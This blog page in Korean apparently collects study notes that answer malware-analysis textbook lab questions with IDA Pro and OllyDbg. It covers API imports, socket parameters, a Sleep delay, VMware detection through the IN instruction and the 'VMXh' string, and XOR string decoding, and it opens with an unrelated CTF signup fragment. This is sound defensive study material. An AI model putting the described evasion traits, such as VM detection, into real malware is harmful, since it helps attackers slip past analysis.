디코딩이 완전 해제될때까지 3번 디코딩을 해주면, 본인 PC의 IP가 나옵니다.

모두 적어주소, 회원가입을 마칩니다.

 

회원가입이 끝났습니다. 본격적으로 홈페이지로 접속해봅니다.

 

아래와 같은 메인페이지에 접속합니다.

본격적인 문제풀이를 시작해볼까요?

posted by Red_Message

안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 6-1을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 기초 동적 분석

------------------------------------------------------------------------------------------------------------------------------------------

문제풀이에 앞서 간단한 동적 분석을 진행합니다.

먼저 Imprt 함수 목록을 살펴보면 아래와 같이 Kernel32와 WININET 2개가 존재합니다.

WININET은 HTTP 프로토콜과 상호작용할 수 있도록 해주며

임포트 하고 있는 InternetGetConnectedState는 로컬 시스템의 인터넷 연결 상태를 확인하는 API입니다.

 

StringWindow(Shitft+F12)에서도 해당 API가 사용하는 "Success : Internet Connection" 문자열을 발견할 수 있습니다.

 

이제 해당 악성코드(?)를 실행시켜보면 위에서 파악한 문구가 출력됨을 확인할 수 있습니다.

 

Tip. PE 파일 영역

-------------------------------------------------------------------------------------

위 String Window를 살펴보면 WININET.dll 에서 사용하는 String의 .data 섹션이고

나머지는 .rdata 섹션에 있는것을 발견할 수 있습니다.

궁금증에 생겨 각 섹션에 내용을 정리합니다.

 

 

.text : CPU가 실행하는 명령어를 담고 있다. 일반적으로 실행 가능한 코드를 포함하는 유일한 섹션.

.data : 프로그램의 초기화된 전역 데이터를 저장하는데, 프로그램의 어디에서든지 접근 가능함. 읽기/쓰기 가능

.rdata : 프로그램 내의 전역에서 접근 가능한 읽기 전용 데이터를 담고 있음.

.bss : 프로그램의 초기화 되지 않은 전역 변수들을 위한 섹션. 가상주소공간에 매핑될 경우 보통 .data 섹션에 병합됨.

.idata : 존재 시 임포트 함수 정보를 저장하고 있으며, 존재하지 않는다면 .rdata 섹션 내의 임포트 함수 정보에 저장

.edata : 존재 시 익스포트 함수 정보를 저장하고 있으며, 존재하지 않는다면 .rdata 섹션 내의 익스포트 함수 정보에 저장

.pdata : 64비트 실행 파일에만 존재하며, 예외 처리 정보를 저장

.rsrc : 실행 파일에 필요한 리소스를 저장

.reloc : 라이브러리 파일 재배치 정보

-------------------------------------------------------------------------------------

 

------------------------------------------------------------------------------------------------------------------------------------------

1. Main이 호출하는 서브루틴만으로 발견한 주요 코드 구조는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

Main의 코드는 아래와 같습니다.

가장 눈에 띄는 것은 [ call sub_401000 ] 명령어입니다.

아마 Sub 함수이니 eax에 리턴값이 저장되어 있을겁니다.

전 문제에서 Tip으로 기재한 부분이었는데, 이번 문제에서 또 보니 복습이 되네요.

따라서 eax값을 mov문으로 변수 var_4에 담은 이후에 cmp문을 이용하여

loc_401056 또는 loc_40105B 루틴으로 분기를 하는 내용입니다.

 

 

사실 코드로 보니 한눈에 안들어오는 경향이 있습니다.

아래와 같이 Graph 모드로 보면 좀더 이해하기 쉽습니다.

근데 이번 챕터가 아니었으면, 이러한 Graph 구조가 if문 구조라는 사실을 잘 몰랐을 것 같네요.

 

이를 Hex-ray 기능을 이용하여 보면 아래와 같이 간단한 구조임을 알 수 있습니다.

약간 의아했던 점은, sub_401000()의 결과 값을 담았던 var_4 변수가 없다는 점입니다.

 

궁금해서 상세 보기를 했더니, 스택상에서는 [ebp-4] 주소에 할당되어 있었습니다. (이미 변수 이름이 var_4 지만요)

아마 명시적인 선언은 하지 않았지만, if문 안에 sub루틴이 있다보니

true false를 판단하기 위해 스택에 공간이 할당된것 같습니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 0x40105F에 위치한 서브루틴은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

0x40105F에 위치한 서브루틴은 아래와 같습니다.

어떤 기능을 해야 하는지 알아보려면 call 위에 push 되는 인자값들을 알아야 합니다.

IDA가 표현해주는 arg 값을 통해 유추가 가능하지만 직관적으로 잘 파악이 안됩니다.

 

해당 부분을 올리디버거로 보면 이해하기가 수월합니다.

Call 하기 전에 넣어주는 인자값이 "Success..." 문자열입니다.

또한 하이라이트 처리된 Call 명령어를 수행하고 나면 CMD창에 해당 문자열이 출력됩니다.

 

이를 보았을때 0x40105F에 위치한 서브루틴의 기능은 Printf로 볼 수 있습니다.

하지만 IDA Pro 상용버전과 무료버전 모두 항상 printf를 인식해 명명하지 않는다고 하니

push되는 문자열의 끝부분에 라인피드 문자  "\n"  를 캐치하여 printf 함수임을 예측할 수 있어야 합니다.

해당 함수에 printf 라고 레이블을 달아주면 그 다음부터는 이해하기 쉬워지겠죠?

분명 5-1 문제에서 rename을 배웠는데, 이런 부분은 분석을 수월히 해내기 위해 습관화 되어야 할 것 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

3. 이 프로그램의 목적은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

인터넷 연결의 활성 여부를 확인한 후 확인 결과를 출력하는 프로그램입니다.

악성코드가 사용할법한 API이니 기억해둡니다!

 

posted by Red_Message

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

------------------------------------------------------------------------------------------------------------------------------------------

13. DllMain이 직접 호출하는 윈도우 API 함수는 몇 개인가? (두번째 깊이에서)

------------------------------------------------------------------------------------------------------------------------------------------

DllMain이 호출하는 API를 알아보기 위해 DllMain에서 [Xrefs from] 기능을 실행했더니 어마어마한 결과가 나왔습니다.

그래서 문제에서 두번째 깊이에서 하라고 했구나..싶었습니다.

 

깊이를 설정하기 위해 [View-Graphs-User xrefs chart] 를 선택합니다.

이후에 아래와 같이 설정해줍니다. 깊이는 DllMain 자신을 제외하고 "1"로 설정합니다.

 

이후에 아래와 같은 결과를 얻을 수 있습니다.

예전에 막무가내로 분석할때는 막대한 차트량을 보고 그냥 꺼버렸는데,

책을 통해 차근차근 보니 배를 냅두고 수영했다는 생각이 드네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

14. 0x10001358에서 Sleep 호출이 존재한다. (sleep까지 수밀리초 값을 파라미터로 갖는 API)

      코드 후반부를 보면 이 코드가 수행되려면 프로그램이 얼마동안 sleep하는가?

------------------------------------------------------------------------------------------------------------------------------------------

해당주소로 가보면 아래와 같은 코드가 나옵니다.

sleep함수를 실행하기 위해 eax 인자값을 받고있습니다.

eax값이 무엇인지 알아내기 위해 eax값에 관여하는 명령어들을 살펴보겠습니다.

10001341 mov eax, off_10019020 : 주소값 10019020에서 eax에 "[This is CTI]30" 문자열을 할당합니다.

10001346 add eax, 0Dh : eax의 값에 0Dh(13)을 더합니다. 앞에 있는 "[This...]" 값을 지나 30을 가리키게 합니다.

1000134A call ds:atoi : 문자열 30을 숫자로 바꿉니다.

10001350 imul eax, eE8h : eax에 저장된 30에 3E8h(1,000)을 곱합니다.

즉, 정리하면 30,000 밀리초 = 30초 를 기다리게합니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

15. 0x10001701에서 소켓을 호출한다. 세 가지 파라미터는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

해당주소로 가보면 아래와 같은 코드가 나옵니다.

socket에 들어가는 값은 6, 2, 1 값입니다.

MSDN에 들어가 해당 상수값이 의미하는바를 찾아보려 했는데

문제의 출제 의도는 이 상수값을 확인하라는 것이 아닙니다.

다음 문제에서 나머지를 다룹니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

16. 소켓과 IDA Pro에서 명명한 심볼 상수 기능을 이용해 이 파라미터를 좀 더 유용하게 가능?

      변경 후 파라미터는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

각 숫자를 오른쪽 클릭해서 Use Symbolic Constant를 선택하면 IDA Pro에서

특정 값을 갖는 모든 상수 리스트를 나열한 대화상자가 나타납니다.

해당값들에서 문자열을 입력하면 자동으로 검색이 됩니다.

값을 찾아 지정하면 아래와 같이 변경된 인자들을 확인할 수 있습니다.

조금더 유용해진건 사실이지만, 함수에 따라 상수값을 자동으로 넣어주는 기능이 있었으면 좋겠네요.

있는데 제가 모를 확률이 큽니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

17. 명령어 옵코드 0xED의 사용법을 찾아보자. 이 명령어는 VMware 탐지를 수행하는 VMXh

      매직 문자열로 사용한다. 이 악성코드는 이를 이용하고 있는가?

      VMware를 탐지하는 다른 증거가 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

먼저 OPCODE중의 하나인 0xED의 사용법에 대해 찾아보았습니다.

검색에서 명확한 답을 찾기 힘들어서, 가지고 있는 어셈블리언어 책을 참고하였습니다.

-------------------------------------------------------------------------------------------------

IN : Input from Port

- 포트에서 한 바이트나 워드를 AL 또는 AX로 입력한다.

- 소스 피연산자는 포트 주소로서 8비트 상수나 DX내에 16비트 주소로 표현된다.

- IA-32에서는 더블워드가 포트를 통해 EAX에 입력될 수 있다.

- 명령어 형식 : IN accum, imm 또는 IN accum, DX

-------------------------------------------------------------------------------------------------

사실 읽고도 이해가 잘 안갔습니다.

갑자기 포트 얘기가 나오면서 첫번째 멘붕이었고

이것이 VMware 탐지를 수행하는 매직문자열 VMXh 문자열과 무슨 상관이 있는건지...

이해가 안되자 계속 IN명령어와 0xED에 대해 검색했지만, 명쾌한 답을 찾지 못하여 생각을 달리하였습니다.

VMware 탐지 우회에 대한 내용으로 검색하자 관련 내용이 나오더군요

내용에 대해 알고싶으신 분들을 위해 블로그 URL을 남깁니다. (URL : http://goo.gl/BvFjJF)

 

간단히 정리하자면, "VMXh" 문자열은 VM을 탐지하기 위한 다양한 방법들중 하나입니다.

원리는 가상머신 환경에서 Guest와 Host 간의 통신채널 확인입니다.

Intel x86 환경에서 I/O 작업을 수행하기 위해서는 IN OUT 명령어를 사용하며

"VMHx" 문자열은 가상머신 환경에서 IN 명령어에 의해 생성되는 Host와 Guest간의 고유한 통신 채널을 의미합니다.

 

이제 왜 IN명령어를 쓰고, "Vmxh" 문자열을 사용하는지 알았으니,

해당 명령어와 문자열이 있는지 검색해보겠습니다.

[Search-text] 를 선택하여 문자열 0xED를 검색합니다.

 

생각보다 결과값이 많이나옵니다. 문자열을 입력하면 바로 검색기능이 활성화 되므로

"in"을 입력하면 아래와 같이 우리가 원하는 라인을 찾을 수 있습니다.

 

더블클릭하면 아래와 같은 프로시져가 나오게 되며, 100061C7부터

아랫부분 In명령어를 이용한 Vmware 환경 탐지 부분이 나옵니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

18. 0x1001D988로 점프해보자. 무엇을 찾을 수 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

해당주소로 가보면 아래와 같은 무작위 문자열이 나옵니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

19. IDA 파이썬 플러그인을 설치했다면 Lab05-01.py를 실행해보자.

      IDA 파이썬 스크립트는 이 책의 악성코드와 함께 제공한다.

      (커서가 0x1001D988에 위치해야 함) 스크립트 실행 후 무슨 일이 일어났는가?

21. 문자 편집기로 스크립트를 열어보자. 어떻게 동작하는가?

------------------------------------------------------------------------------------------------------------------------------------------

파이썬 코드는 문제 폴더에 Lab-01.py 이름으로 포함되어 있습니다.

커서의 현재 위치를 sea 변수에 저장한뒤, 0x00 ~ 0x50 까지 루프를 돌며 XOR 연산을 수행합니다.

 

0x1001D988에 커서를 두고 [File-Script File]을 선택하면 아래와 같이 문자열이 변경됩니다.

  

 

------------------------------------------------------------------------------------------------------------------------------------------

20. 동일한 위치에 커서를 두고 이 데이터를 ASCII 문자열로 어떻게 변환할 수 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

문자열이 시작하는 주소에 커서를 두고 단축키 "A" 를 누르면 아래와 같이 아스키 문자열로 변환됩니다.

 

 

 

posted by Red_Message